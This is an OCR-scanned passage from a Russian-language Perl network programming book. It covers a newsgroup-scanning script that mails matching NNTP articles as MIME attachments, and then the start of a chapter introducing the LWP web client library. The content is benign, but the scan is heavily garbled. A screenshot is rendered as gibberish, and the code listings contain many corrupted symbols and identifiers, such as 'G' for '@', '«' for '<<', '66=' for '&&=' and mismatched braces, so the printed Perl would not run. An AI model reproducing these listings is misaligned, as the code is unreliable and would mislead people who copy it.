периодически отыскивает в службе сетевых новостей статьи, интересующие
пользователя, включает их в сообщения MIME и отправляет через службу почты Internet. При
каждом выполнении сценарий отслеживает, какие сообщения были отправлены
ранее, и отправляет только те, которые еще не были отправлены пользователю.
Областью действия этого сценария можно управлять, указывая список групп
новостей и, при желании, задавая один или несколько образцов, по которым должен
выполняться поиск интересующих пользователя строк темы в статьях, содержащихся
в группах новостей. Если образцы поиска по строкам темы не указаны, сценарий
выбирает все содержимое перечисленных групп новостей.
В образцах поиска строки темы используются средства машины сопоставления
с образцом интерпретатора Perl, которые могут представлять собой любое
регулярное выражение. Однако в целях повышения производительности для обозначения
имен групп новостей применяются только встроенные образцы с символами шаблона
системы NNTP.
В следующей команде задан поиск в группах новостей comp. long. perl. * статей,
которые содержат слово "Socket" или "socket" в строке темы. Статьи,
соответствующие этому образцу, будут отправлены по локальному адресу электронной почты
lstein. В число опций этого сценария входит -subject, которая служит для
указания образца сопоставления темы; -mail, предназначенная для указания получателя
(получателей) электронной почты; и -V, которая включает режим вывода подробных
сообщений о ходе работы.
% scan_newsgroups.pl -v -mail lstein -subject '[sS]ockef
'comp.lang.perl.*'
Searching comp.lang.perl.misc for matches
Fetching overview for comp.lang.perl.misc
found 39 matching articles
Searching comp.lang.perl.announce for matches
248
Часть П. Разработка клиентов для основных служб
Fetching overview for сотр.lang.perl.announce
found 0 matching articles
Searching сотр.lang.perl.tk for matches
Fetching overview for сотр.lang.perl.tk
found 1 matching articles
Searching сотр.lang.perl.modules for matches
Fetching overview for сотр.lang.perl.modules
found 4 matching articles
44 articles, 40 unseen
sending e-mail message to lstein
Полученное сообщение электронной почты содержит краткую вводную часть,
в которой описан образец поиска строки темы и образец определения группы
новостей; за ней следуют статьи, отвечающие заданным критериям. Каждая статья
присоединена к сообщению как вложение с типом MIME message/rf с 8 2 2. В
зависимости от программного обеспечения чтения почты, вложения отображаются либо как
встроенные компоненты сообщения, либо как присоединенные файлы. Результаты
выглядят особенно привлекательно в программе чтения почты Netscape (рис. 8.1),
поскольку каждая статья отображается с использованием различных шрифтов и
форматов гиперссылок.
,г MU & иоотяга: < Frt Jut П ЮШУ№ 2СШ
File ЕЯ View со Menage Comaunlctor Help
' ^j l^»« }tnkm>4ya 3* UMid lliwiJil, 77 КЛЯ Д Д
G«M-| HiwMMi Fivply Fotwirt ft» WW FiW S>cur1ly DrteW
Щ Ъ*тЛ __ |S«*7- » I-** * Pntfdff. < ►
■ hpnU" LbnfeSM» • Wrtll*
-•cajfurvMrnraEnvrpM.'*' uatitw «U2i
I %> l*»4injpp«№4sfTi.U 28 0927.45 2000 LnccJnSttm • 0927
T Ncwtgrnia portngt Frt Jul 2Я П 27 Л5 2800
Subject Nowsgrou» f.<nting« Fri Jil M 0U?:43 2Dull ^1 П
KmwtL'itfti:Fri.2^JuJ2ULOO957<j8<C40Q(em) ±J
Rr-swri-Ft.лиL ic il-i fi^i ■■•■lt!iti>
имев! То: IreKi'CtilflfaL.L'jy,
Dew: FH.3C Jul 2Г.Т 09.27»-0400
Fr'«:||-лЧв^«п«м«шдс^ nm>
To:|iian
Nnn^rousi »urthu! c. mo ling «til '
Pert«n(») j»Slock«l
M&n maurtwd. 40
Subjurt Ни: lP:SockBt and Tlmeuul» "V ?
Dab): 23 Jul TIM 12 ЭБ13 «0100
Fr»m: lonifun Sttwn «<M^.-. .1,1 ;nm>
Organliirtion: Twenlf F«J Cenltrf CH;itti
Nwingniii|MC rnnr 1агз n»n rail..
Referencac 1 Л
OnS*.:i Ju'XIXi221041 GMTCo/mfe
>
> Hoi tun 4*4 ю one «j»w Um) w fceted
> hcWm fov new
*j_NjhJy_B£«siN* thaw 'he frit hours battwn yjwtwo tma у.чг
pl_I ^—= Z—J
2Juc. 8.1. Сообщение электронной почты, отправленное из сценария scan_newsgroups .pi
Глава 8. Протоколы обработки почты и сообщений групп новостей...
249
Код сценария scan_newsgroups. pi приведен в листинге 8.8.
ЛИСТИНГ 8.8. Сценарий scan_newsgroups.pl
0: #!/usr/local/bin/perl -w
1: # Файл: scan_newsgroups.pl
2: use strict;
3: BEGIN i @AnyDBM_File::ISA =
qw(DB_File GDBM_File NDBM_File SDBM_File) }
4: use AnyDBM_File;
5: use Getopt::Long;
6: use Net::NNTP;
7: use MIME::Entity;
8: use Fcntl;
9: # Константы
10: use constant NEWSCACHE => "$ENV{HOME}/.newscache";
11: use constant USAGE => «END;
12: Usage: scan_newsgroups.pl [options] newsgroupl newsgroup2...
13: Scan newsgroups for articles with
subject lines matching patterns.
14: Options:
15: -mailto <addr> E-mail address to send matching articles to
16: -subject <pat> Pattern (s) to match subject lines on
17: -server <host> NNTP server
18: -insensitive Case-insensitive matches
19: -all Send all articles (default: send unseen ones)
20: -verbose Verbose progress reports
21: Options can be abbreviated to the smallest unique
identifier, for example -i -su.
22: END
23: # Глобальные переменные
24: my ($RECIPIENT,$SERVER,$SEND_ALL,$N0CASE,$VERBOSE,
GSUBJ_PATTERNS,GNEWSGROUPS);
25: my (%Seen, «Articles,GFields);
26: GetOptions('mailto:s' => \$RECIPIENT,
27: 'server:s" => \$SERVER,
28: 'subject:s' => \GSUBJ_PATTERNS,
29: •insensitive'=> \$N0CASE,
30: 'all' => \$SEND_ALL,
31: 'verbose' => \$VERB0SE,
32: ) or die USAGE;
33: (GNEWSGROUPS = GARGV) or die
"Must provide at least one newsgroup pattern.\n",USAGE;
34: GSUBJ_PATTERNS or die
"Must provide at least one subject pattern.\n",USAGE;
35: $RECIPIENT I|= $ENV{USER) || $ENV{LOGNAME);
36: # Открыть соединение NNTP
37: my $nntp = Net::NNTP->new($SERVER)
or die "Can't connect to server: $!";
38: # Открытие/инициализация базы данных для кэшированных
# сообщений
39: tie(%Seen,,AnyDBM_File,,NEWSCACHE,0_RDWR|0_CREAT,0640)
250 Часть П. Разработка клиентов для основных служб
40:
or die "Can't open article cache: $!";
41: # Трансляция кода сопоставления с образцом
42: my $patmatch = matchcode(GSUBJ_PATTERNS);
43: # Построение списка групп по образцу
44: my Ggroups = expand_newsgroups($nntp,0NEWSGROUPS);
45: # Поиск групп и накопление результатов в %Articles
46: grep_group($nntp,$_, $patmatch) foreach Ggroups;
47: # Поиск непросмотренных статей
48: my Gto_fetch =
grep {!$Seen{$_}++ || $SEND_ALL) keys %Articles;
49: warn scalar keys %Articles,* articles, *,
scalar Gto_fetch, " unseen\n" if $VERBOSE;
# Отправка сообщений
send_mail($nntp,\Gto_fetch);
$nntp->quit;
exit 0;
# Процедура сопоставления с образцами
sub match_code {
my Gpatterns = G_;
my $flags = $N0CASE ? 'i' : ";
my $code = "sub { my \$t = shift;\n";
$code .= " my \$matched = l;\n";
$code .= " \$matched 66= \$t=~/$_/$flags;\n"
foreach Gpatterns;
$code .= " return \$matched;\n }\n";
return eval $code or die $G;
}
# Получение списка групп по образцу с шаблонами
sub expand_newsgroups {
my ($nntp,Gpatterns) = G_;
my %g;
foreach (Gpatterns) {
$g{$_}++ and next unless /\*\[\]\?/;
next unless my $g = $nntp->newsgroups($_);
$g{$_}++ foreach keys %$g;
}
return keys %g;
}
# Поиск в указанной группе статей, темы которых
# соответствуют образцу
sub grep_group {
my ($nntp,$group,$match_sub) = G_;
my $matched =0;
warn "Searching $group for matches\n" if $VERB0SE;
my $overview = get_overview($nntp,$group);
for my $o (values %$overview) {
my ($subject,$msgID) = G{$o){'Subject','Message-ID*};
next unless $match_sub->($subject);
$Articles{$msgID) = $o;
Глава 8. Протоколы обработки почты и сообщений групп новостей...
85: $matched++;
86: }
87: warn "found $matched matching articles\n" if $VERBOSE;
88: return $matched;
89: }
90: # Получение обзора группы в виде хеша хешей
91: sub get_overview {
92: ray ($nntp,$group) = G_;
93: warn "Fetching overview for $group\n" if $VERBOSE;
94: return unless my ($count,$first,$last) =
$nntp->group($group);
95: GFields = map {I([\w-]+):/66 $1} G<$nntp->overview_fmt}
unless GFields;
96: my $over = $nntp->xover([$first, $last]) If return;
97: foreach (keys %$over) {
98: my $h = O;
99: G{$hH@Fields, 'Message-Number' } =
(G{$over->{$_n,"$group:$_">;
100: $over-><$_} = $h;
101: }
102: return $over;
103: }
104: # Подготовка письма для отправки получателю
105: sub send_mail {
106: my ($nntp,$to_fetch) = G_;
107: my $count = @$to_fetch;
108: my $date = localtime;
109: warn "sending e-mail message to $RECIPIENT\n"
if $VERB0SE;
110: # Начало сообщения MIME
111: my $message = «END;
112: Newsgroups searched: GNEWSGROUPS
113: Pattern(s): GSUBJPATTERNS
114: Articles matched: $count
115: END
116: my $mail = MIME::Entity->buiId(
Subject => "Newsgroup postings $date",
117: To => $RECIPIENT,
118: Type => * text/plain',
119: Encoding => '7bit',
120: Data => $message,
121: );
122: attach_article($nntp, $mail,$_) foreach G$to_fetch;
123: $mail->smtpsend or die "Can't send mail: $!";
124: $mail->purge;
125: }
126: # Присоединение к сообщению указанной статьи
127: sub attach article {
252
Часть П. Разработка клиентов для основных служб
128
129
130
131
132
133
134
135
my ($nntp,$mail,$messID) = G_;
my $article = $nntp->article($messID) || return;
$mail->attach(
Type => 'message/rfc822'.
Description => $Articles{$messID){Subject},
Filename => $Articles{$messID}{'Message-Number'},
Encoding => '7bit',
Data => $article);
Проведем анализ программы.
Строки 1-7. Загрузка модулей. Загружаются модули Net: :nntp и mime: :Entity, а также
модуль Getopt:: Long, предназначенный для обработки параметров. Необходимо
отслеживать все сообщения, найденные во время предыдущих сеансов выполнения этого сценария.
Проще всего это можно обеспечить путем сохранения идентификаторов сообщений в
индексированной базе данных DBM. Однако заранее не известно, какая библиотека DBM
установлена на компьютере, поэтому выполняется импорт модуля AnyDBMFile, который
автоматически выбирает наиболее подходящую библиотеку. Код, содержащийся в блоке begin {},
изменяет порядок поиска в библиотеке DBM, как описано в документации AnyDBMFile.
Выполняется также загрузка модуля Fcntl для получения доступа к некоторым константам,
необходимым для инициализации файла DBM
Строки 9-22. Определение констант. Выбирается имя для файла DBM— это файл
.newscache в начальном каталоге пользователя, а также создается сообщение с инструкцией
по использованию сценария.
Строки 23-25. Объявление глобальных переменных. Первая строка определения
глобальных переменных соответствует опциям командной строки. Вторая строка глобальных
переменных представляет собой различные структуры данных, применяемые в сценарии. Хеш
%Seen будет привязан к файлу DBM; его ключами являются идентификаторы сообщений для
ранее полученных статей. Хеш %Articles содержит информацию о статьях, полученных во
время текущего поиска. Его ключами являются идентификаторы сообщений, а значениями —
ссылки на хеш полей заголовка, полученных из индекса краткого обзора. И наконец, параметр
GFields содержит список полей заголовка, возвращенных методом xover ().
Строки 26-35. Обработка параметров командной строки. Вызывается метод
GetOptions () для обработки опций командной строки, а затем выполняется проверка
допустимости параметров. Если имя получателя электронной почты не указано в командной строке,
по умолчанию применяется регистрационное имя пользователя.
Строки 36, 37. Создание соединения с сервером службы сетевых новостей. Открывается
соединение с сервером службы сетевых новостей путем вызова метода Net:: NNTP->new ().
Если имя сервера не указано в командной строке, опция $ server не определена и модуль
Net: :nntp выбирает подходящее значение по умолчанию.
Строки 38-40. Открытие файла DBM. Выполняется привязка хеша %Seen к файлу
.newscache с использованием модуля AnyDBMFile. Опции, передаваемые функции tie(),
обеспечивают открытие файла для чтения/записи, если он существует, и его создание с
режимом доступа к файлу 0640 (-rw-r ), если он не существует.
Строки 41, 42. Трансляция образца для сопоставления. Для повышения эффективности
образцы, применяемые для сопоставления, транслируются и создается анонимная
подпрограмма. Эта подпрограмма принимает текст строки заголовка и возвращает истинное значение
при успешном сопоставлении со всеми образцами, а в ином случае — ложное значение.
Подпрограмма match_code() принимает список образцов, применяемых для сопоставления,
транслирует их и возвращает соответствующую ссылку на код.
Строки 43, 44. Развертывание образцов поиска групп новостей. Список образцов групп
новостей передается в подпрограмму expand_newsgroups (). Эта подпрограмма вызывает
сервер NNTP, чтобы он создал список групп новостей, соответствующий символам шаблона,
и вернул полученный список.
Глава 8. Протоколы обработки почты и сообщений групп новостей... 253
• Строки 45,46. Поиск соответствующих статей. Выполняется просмотр в цикле развернутого
списка групп новостей и вызов подпрограммы grep_group () для каждой из групп новостей.
Параметры подпрограммы grep_group () состоят из имени группы новостей и ссылки на код,
предназначенный для отбора статей в этой группе. В подпрограмме grepgroup ()
идентификаторы сообщений статей, соответствующих заданным критериям, накапливаются в хеше
%Articles. Такая конструкция применяется в связи с тем, что одна и та же статья может быть
отправлена сразу в несколько взаимосвязанных групп новостей; при использовании
идентификатора статьи в хеше можно избежать накопления дубликатов.
• Строки 47-49. "Отсеивание" уже просмотренных статей. Для отсеивания статей,
идентификаторы сообщений которых уже присутствуют в хеше %Seen, привязанном к базе данных,
применяется функция grep() языка Perl. Идентификаторы новых статей добавляются к этому
хешу, чтобы при следующих сеансах выполнения сценария можно было определить, что они
уже получены. Идентификаторы неполученных статей записываются в массив @to_f etch.
Если пользователь вызовет сценарий с опцией -all, операция grep () будет исключена
с тем, чтобы была выполнена выборка всех статей, включая полученные ранее. Это не
повлияет на обновление хеша %Seen, привязанного к базе данных.
• Строки 50-53. Добавление статей к исходящему почтовому сообщению и выход. Список
идентификаторов статей передается подпрограмме sendmail (), которая выбирает их
содержимое и добавляет его к исходящему почтовому сообщению. Затем вызывается метод
quit () объекта NNTP для отключения от сервера и происходит выход из самого сценария.
• Строки 54-63. Подпрограмма matchjcode (). Подпрограмма match_code () принимает
список, содержащий нуль и более образцов, и динамически создает ссылку на код. Подпрограмма
сопоставления с образцом собирается построчно в скалярной переменной Scode. Эта
подпрограмма должна возвращать истинное значение, только если все образцы сопоставляются
с переданной ей строкой темы. Если образцы не указаны, подпрограмма возвращает истинное
значение по умолчанию. Если сценарию передается опция -insensitive, то определяется
сопоставление с образцом без учета регистра с помощью флажка i. В ином случае
сопоставление с образцом выполняется с учетом регистра.
После построения кода подпрограммы осуществляется его вычисление с помощью функции
eval (), и результат возвращается вызывающему оператору. Если выполнение функции
eval () оканчивается неудачей (возможно, из-за ошибки в одном или нескольких регулярных
выражениях), сообщение об ошибке распространяется на остальной код программы и
вызывается функция die.
■ Строки 64-74. Подпрограмма expand_newsgroups(). Эта подпрограмма принимает список
образцов имен групп новостей и вызывает для каждого из них по очереди метод
newsgroups () объекта NNTP, развертывая образцы в список допустимых имен групп
новостей. Если образец имени группы новостей не содержит символов шаблона, он
рассматривается просто как имя группы новостей и возвращается без изменений.
• Строки 75-86. Подпрограмма grep_group(). Данная подпрограмма просматривает
указанную группу новостей для поиска статей со строками темы, соответствующими набору
образцов. Образцы представлены в форме ссылки на код, который возвращает истинное значение,
если строка темы сопоставлена с образцами.
Вызывается подпрограмма get_overview() для получения с сервера индекса краткого
обзора для данной группы новостей. Эта подпрограмма возвращает ссылку на хеш, ключами
которого яеляются номера сообщений, а значениями — хеш индексированных полей заголовка.
Выполняется просмотр в цикле каждого сообщения, выборка его полей Subject: и Message-
ID: и передача поля темы в ссылку на код сопоставления с образцом. Если данная ссылка на
код возвращает ложное значение, происходит переход к следующей статье. В ином случае
идентификатор сообщения статьи и данные краткого обзора добавляются к глобальному хешу
%Articles.
После проверки всех статей вызывающему оператору возвращается число статей,
соответствующих заданным критериям.
• Строки 90-103. Подпрограмма get_overview(). Приведенная здесь подпрограмма немного
усовершенствована по сравнению с версией, приведенной ранее. Ее выполнение начинается
с вызова метода group () объекта NNTP и получения первого и последнего номеров
сообщений группы новостей. Затем вызывается метод overview_fmt () объекта для выборки имен
254
Часть II. Разработка клиентов для основных служб
полей в индексе краткого обзора. Однако поскольку эта информация не должна изменяться
в течение выполнения данного сценария, она кэшируется в глобальной переменной QFields
и подпрограмма overview_f mt () вызывается, только если эта глобальная переменная пуста.
Имена полей перед присвоением элементам массива GFields очищаются путем удаления
символа ":" и всего, что следует за ним.
Выполняется выборка краткого обзора для всей группы новостей путем вызова метода
xover () для всего диапазона номеров, которые охватывают первый и последний номера
статей. После этого выполняется цикл по ключам возвращенного хеша краткого обзора и ссыпки
на массив, в котором поля перечислены по позициям, заменяются анонимными хешами, в
которых поля перечислены по именам. Кроме регистрации полей заголовка, которые содержатся
в самой статье, выполняется регистрация псевдополя Message-Number:, содержащего имя
группы и номер сообщения в форме group. name: number. Эта информация будет
использоваться во время создания сообщения электронной почты для формирования имени вложения
статьи, применяемого по умолчанию.
■ Строки 104-125. Подпрограмма send_mail О. Эта подпрограмма вызывается с массивом
идентификаторов статей, подлежащих выборке, и отвечает за создание многокомпонентного
сообщения MIME, содержащего каждую статью в виде вложения.
Создается краткая вводная часть сообщения, в которой подытоживаются опции вызова
программы и создается новый объект mime: :Entity путем вызова метода build(). Сообщение
начинает свое существование в качестве однокомпонентного сообщения типа text/plain, но
автоматически преобразуется в многокомпонентное, как только к нему начинают добавляться статьи.
После этого вызывается подпрограмма attach_article() для каждой статьи,
перечисленной в массиве etof etch. Этот массив может быть пуст, и в этом случае письмо не будет
иметь вложений. После присоединения всех статей вызывается метод smtpsend() данного
объекта MIME для отправки письма с использованием метода SMTP модуля Mail: :Mailer
и удаления всех временных файлов путем вызова метода purge () объекта.
• Строки 126-135. Подпрограмма attachjarticleО. Для указанного идентификатора
сообщения выполняется выборка всего информационного наполнения статьи в виде массива строк
путем вызова метода article () объекта NNTP. После этого к исходящему почтовому
сообщению добавляется статья с указанием типа MIME message/rfc822, описание,
соответствующее строке темы статьи, и предусмотренное по умолчанию имя файла, созданное с
помощью имени группы новостей статьи и номера сообщения (взятого из глобального хеша
%Articles).
Интересной особенностью этого сценария является то, что в хешированной базе
данных .newscache хранятся уникальные глобальные идентификаторы сообщений,
поэтому он позволяет переключиться на другой сервер NNTP, не беспокоясь о том,
что будут снова доставлены статьи, которые были уже просмотрены.
Резюме
Модули Net: :РОРЗ и Net: :IMAP: :Simple обеспечивают получение и обработку
почты Internet из клиентских программ. Модуль Net: :NNTP предоставляет доступ
к системе сетевых новостей через протокол NNTP. Эти модули можно объединять
с инструментальными средствами MIME: :Tools для выполнения сложных задач
обработки и сортировки почты.
Модули Net: : *, Mail: : * и MIME: : * легко взаимодействуют между собой
благодаря искусству авторов этих модулей, а также элегантности самой почтовой системы
Internet.
Глава 8. Протоколы обработки почты и сообщений групп новостей...
255
Глава
Web-клиенты
В предыдущих главах рассматривались клиентские модули для отправки и
получения почты Internet, передачи файлов по FTP и взаимодействия с серверами службы
сетевых новостей. В настоящей главе описывается LWP (сокращение от Library for
Web access in Perl) — библиотека средств доступа к Web на языке Perl. Библиотека LWP
предоставляет единый API-интерфейс для взаимодействия с Web-, FTP-серверами,
серверами службы новостей и почтовыми серверами, а также с менее
распространенными службами, такими как Gopher.
Библиотека LWP позволяет запрашивать документ по URL с удаленного Web-сервера;
отправлять данные по методу POST на Web-сервер, эмулируя отправку заполняемой
формы; создавать на локальном компьютере зеркальное отображение документа,
расположенного на удаленном Web-сервере, таким образом, чтобы документ передавался
на локальный компьютер после каждого его обновления на сервере; интерпретировать
документы HTML для извлечения ссылок и других интересных компонентов документа;
форматировать документы HTML для создания файлов в текстовом формате и в
формате документов PostScript; обрабатывать файлы cookie; отслеживать директивы
перенаправления HTTP; работать с proxy-серверами; выполнять проверку подлинности
пользователя по протоколу HTTP. Очевидно, что в библиотеке LWP реализованы все
функциональные средства, необходимые для создания Web-броузера на языке Perl. После
загрузки и установки дистрибутива Perl/Tk читатель обнаружит, что он содержит
полнофункциональный графический Web-броузер, созданный на базе LWP.
Основной дистрибутив LWP содержит 35 модулей, а для интерпретации и
форматирования HTML требуется еще десяток модулей. В связи с таким разнообразием
средств библиотеки LWP в настоящей главе будут рассматриваться только основные
модули. Исчерпывающее описание можно найти в документации POD LWP или в
превосходной, но немного устаревшей книге [66].
Установка библиотеки LWP
В 1995 году появилась первая версия LWP, написанная Мартином Костером
(Martijn Koster) и Гисле Аасом (Gisle Aas). С тех пор ее сопровождением и доработкой
занимается Гисле Аас при помощи других участников разработки.
Основная библиотека LWP, которая может быть получена из архива CPAN в файле
libwww-X.XX. tar . gz (где Х.ХХ— номер самой последней версии), предоставляет
поддержку протоколов HTTP, FTP, Gopher, SMTP, NNTP и HTTPS (HTTP с поддерж-
a
256
Часть И. Разработка клиентов для основных служб
кой уровня защищенных сокетов протокола IP). Однако перед ее установкой
необходимо установить ряд дополнительных модулей.
URI Интерпретация и обработка URL
Net: : FTP Поддержка URL в формате ftp: //
MIME: :Base64 Поддержка основных средств аутентификации HTTP
Digest: :MD5 Поддержка средств аутентификации HTTP с помощью
| дайджеста сообщения, вычисленного по алгоритму MD5
HTML: :HeadParser ' Поиск тега <BASE> в заголовках HTML
Каждый из этих модулей можно загрузить и установить отдельно, но проще всего
установить библиотеку LWP и все ее дополнительные модули в пакетном режиме с
использованием стандартного модуля CPAN. Ниже показано, как это выполнить из
командной строки:
% perl -MCPAN -e 'install Bundle::LWP'
В результате будет выполнена загрузка модуля CPAN, а затем вызвана функция
install () для загрузки, сборки и установки библиотеки LWP и всех вспомогательных
модулей, необходимых для ее работы.
В свое время в состав библиотеки LWP входили модули интерпретации и
форматирования HTML, но теперь они распространяются в виде отдельных пакетов,
соответственно, называемых HTML: : Parser и HTML: : Formatter. Для них, в свою очередь,
также требуется ряд вспомогательных пакетов, которые проще всего установить с
использованием модуля CPAN, выполнив следующую команду:
% perl -CPAN -e 'install HTML::Parser' \
-e 'install HTML::Formatter'
При желании эти библиотеки можно установить вручную, руководствуясь
приведенным ниже списком пакетов, которые необходимо загрузить и установить.
Синтаксический анализ HTML
Создание дерева синтаксического анализа HTML
Размерные характеристики шрифтов PostScript
Представление кода HTML в другом формате
Для использования протокола HTTPS (защищенного протокола HTTP)
необходимо установить один из модулей SSL языка Perl, IO: : Socket: : SSL, а также OpenSSL,
библиотеку SSL с открытым исходным кодом, необходимую для работы модуля
IO:: Socket: :SSL. Библиотеку OpenSSL можно получить по адресу
http://www.openssl.org/.
Библиотека LWP написана полностью на языке Perl. Для ее установки не требуется
транслятор С. Кроме файлов модулей, при инсталляции LWP устанавливаются четыре
сценария, которые могут служить примерами использования этой библиотеки, а также
несколько утилит, которые очень удобны сами по себе. Эти сценарии перечислены ниже.
■ lwp-request. Выборка по URL и отображение полученной информации.
■ lwp-download. Загрузка документа на диск; этот сценарий может применяться
для получения файлов, которые слишком велики и не могут поместиться в
оперативную память.
■ lwp-mirror. Зеркальное отображение документа, находящегося на удаленном
сервере, и обновление локальной копии только в случае изменения документа
на сервере.
■ lwp-rget. Рекурсивное копирование иерархии документов.
HTML:
HTML:
Font:
HTML:
:Parser
:TreeBuilder
:AFM
:Formatter
Глава 9. Web-клиенты
257
Основные способы использования
библиотеки LWP
В листинге 9.1 приведен сценарий, который обеспечивает загрузку информации по
URL, заданному в командной строке. В случае успешного выполнения полученный
документ выводится на стандартное устройство вывода. В ином случае сценарий
завершается с соответствующим сообщением об ошибке. Например, для загрузки исходного
кода HTML страницы с информацией о погоде узла Yahoo, расположенной по адресу
http: //www. yahoo. com/r/wt, можно вызвать сценарий следующим образом:
% get_url.pl http://www.yahoo.eom/r/wt > weather.html
Этот сценарий можно с таким же успехом использовать для загрузки файла
с FTP-сервера, как показано ниже.
% get_url.pl ftp://www.cpan.org/CPAN/RECENT
Этот сценарий позволяет даже получать статьи групп новостей, если известен
соответствующий идентификатор сообщения.
% get_url.pi news:3965ele8.1936939@enews.newsguy.com
Все эти функциональные средства предоставляет сценарий длиной всего 10 строк.
Листинг 9.1. Выборка URL с использованием объектно-ориентированного
интерфейса lwp
0: #!/usr/local/bin/perl -w
1: # Файл: get_url.pi
2: use strict;
3: use LWP;
4: my $url = shift;
5: my $agent = LWP::UserAgent->new;
6: my $request = HTTP::Request->new(GET => $url);
7: my $response = $agent->request($request);
8: $response->is_success or die "$url: ",
$response->message,"\n";
9: print $response->content;
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включена строгая проверка синтаксиса и загружен модуль lwp.
• Строка 4. Чтение URL. Требуемый URL считывается из командной строки.
• Строка 5. Создание объекта LWP:: User Agent. Создается новый объект агента пользователя
lwp :: userAgent путем вызова метода new о этого модуля. Агент пользователя обладает
способностью выдавать запросы на удаленные серверы и возвращать их ответы.
■ Строка 6. Создание НОВОГО объекта HTTP: :Request. Вызывается метод HTTP: :Request-
>new () и ему передается указание об использовании метода запроса "get" и требуемый URL
В результате создается новый объект HTTP::Request.
258
Часть II. Разработка клиентов для основных служб
■ Строка 7. Выполнение запроса. Вновь созданный объект HTTP::Request передается
методу request () агента пользователя. В результате на удаленный сервер выдается запрос
и возвращается объект ответа HTTP:: Response.
• Строки 8, 9. Печать ответа. Вызывается метод is_success () объекта ответа для определения
того, был ли запрос выполнен успешно. Если нет, то вызывается функция die с сообщением
сервера об ошибке, которое возвращено методом message () объекта ответа. В ином случае
выполняется выборка и вывод содержания ответа путем вызова метода content () объекта ответа.
Этот небольшой сценарий показывает основные компоненты библиотеки LWP.
Объект HTTP: :Request содержит информацию об исходящем запросе,
передаваемом от клиента к серверу. Запросами могут быть простые объекты, содержащие не
более чем обычный URL, как показано здесь, или сложные объекты, представляющие
файлы cookie, информацию проверки подлинности и параметры, которые должны
быть переданы в сценарии сервера.
Объект ответа HTTP: :Response содержит в себе информацию, передаваемую от
сервера к клиенту. Объекты ответа представляют информацию состояния, а также
информационное наполнение самого документа.
Объект LWP: :UserAgent служит посредником между клиентом и сервером,
передавая на удаленный сервер объекты HTTP: :Request и преобразуя ответы сервера
в объекты HTTP: : Response для их возврата в код клиентской программы.
Библиотека LWP предоставляет возможность работать не только с использованием
объектно-ориентированного интерфейса, но и упрощенного процедурного
интерфейса, называемого LWP: : Simple. В листинге 9.2 показан тот же сценарий,
переписанный с применением указанного модуля. После загрузки модуля LWP: : Simple
выполняется выборка требуемого URL из командной строки и передача его функции
getprint (). Эта функция предпринимает попытку выборки указанного URL. В
случае успешного выполнения она выводит информационное наполнение, находящееся
по этому URL, на стандартное устройство вывода. В ином случае она выводит
сообщение с описанием ошибки на устройство STDERR.
Листинг 9.2. Выборка URL с использованием процедурного интерфейса
LWP::Sirople
0: #!/usr/local/bin/perl -w
1: # Файл: simple_get.pl
2: use LWP::Simple;
3: my $url = shift;
4: getprint($url);
В действительности можно еще больше сократить код листинга 9.1 и свести его
к следующей однострочной команде:
% perl -MLWP::Simple -e 'getprint shift' \
http://www.yahoo.com/r/wt
Процедурный интерфейс может применяться для выборки и зеркального
отображения документов Web, если не нужен контроль над исходящими запросами и нет
необходимости подробно исследовать ответы. С другой стороны, объектно-
ориентированный интерфейс требуется в тех случаях, когда есть необходимость
вносить изменения в исходящие запросы, предоставляя информацию проверки подлин-
Глаеа 9. Web-клиенты
259
ности и данные, которые должны быть отправлены в сценарий на сервере, или
изменяя другую информацию заголовков, передаваемую' • на сервер. Объектно-
ориентированный интерфейс позволяет также вызывать дополнительные методы
объекта ответа для получения подробной информации об удаленном сервере и
возвращенном документе.
HTTP::Request
Архитектура Web позволяет свести все операции взаимодействия между клиентом
и сервером к запросу клиента и ответу сервера. В запросе клиента указан
унифицированный локатор информационного ресурса (URL— Uniform Resource Locator) и
метод запроса. URL, который в документации LWP упоминается под более обобщенным
именем URI (Uniform Resource Identifier— Унифицированный идентификатор
информационного ресурса), содержит информацию о применяемом сетевом протоколе
и сервере, с которым необходимо вступить во взаимодействие. В каждом протоколе
используются разные соглашения по построению применяемых в них URL. Ниже
перечислены протоколы, поддерживаемые библиотекой LWP.
■ HTTP. Протокол передачи гипертекста (Hypertext Transfer Protocol) —
собственный протокол Web, описанный в документах RFC 1945 и 2616 и применяемый на
всех Web-серверах. URL протокола HTTP имеет следующую знакомую форму:
http://server_name: рогt/path_ to_document
Строка http: в начале URL обозначает протокол. За ним следует доменное имя
сервера server_name или его IP-адрес и иногда номер порта port, из которого
принимает запросы сервер. Остальная часть URL обозначает путь к документу
pa th_to_document.
■ FTP. Документ, хранящийся на FTP-сервере. URL протокола FTP имеет
следующую форму:
ftp://server_name: рогt/path_to_document
■ GOPHER. Документ, хранящийся на сервере, который работает по протоколу
Gopher, применяемому в наше время довольно редко. URL протокола Gopher
имеют следующую форму:
gopher://server_name: port/path_to_document
■ SMTP. Библиотека LWP позволяет отправлять сообщения через серверы SMTP
с использованием URL типа mail to:. Эти URL имеют следующую форму:
mailto:userQscme_host
Здесь userQsome_host — это адрес электронной почты получателя. Обратите
внимание, что в состав URL не входит адрес сервера SMTP. В библиотеке LWP для
определения сервера используется локальная информация конфигурации.
■ NNTP. Библиотека LWP позволяет выбирать поступления в группы новостей
с сервера NNTP по предоставленному ей идентификатору сообщения, которое
должно быть получено. URL имеет следующий формат:
news:message-id I
Как и в URL типа mail:, при использовании этого протокола не существует способа
указать в командной строке конкретный сервер NNTP. Подходящий сервер
определяется автоматически с помощью правил работы с модулем Net: : NNTP (см. главу 8). /
260
Часть II. Разработка клиентов для основных служб
Кроме URL, в каждом запросе определен метод. Метод запроса обозначает тип
требуемой транзакции. В протоколах Web определен ряд методов, но чаще всего
применяются следующие.
■ GET. Выборка копии документа, указанного по URL. Это — наиболее часто
применяемый способ выборки Web-страницы.
■ PUT. Замена или создание документа, указанного с помощью URL, на основе
документа, содержащегося в запросе. Этот метод чаще всего применяется
в протоколе FTP при выгрузке файла, но также используется в некоторых
редакторах Web-страниц.
■ POST. Отправка определенной информации по указанному URL. Этот метод
был вначале разработан для отправки на сервер сообщений электронной
почты и статей групп новостей, а затем приспособлен также для отправки
заполняемых форм в сценарии CGI и другие серверные программы.
■ DELETE. Удаление документа, обозначенного с помощью URL. Этот метод
используется для удаления файлов с FTP-серверов, а также применяется в
некоторых системах редактирования на основе Web.
■ HEAD. Получение информации об указанном документе без его изменения или
загрузки.
Запросы протокола HTTP могут также содержать другую информацию. Каждый
запрос включает заголовок, содержащий набор полей, аналогичных полям,
описанным в документе RFC 822. Наиболее часто применяются такие поля, как Accept:,
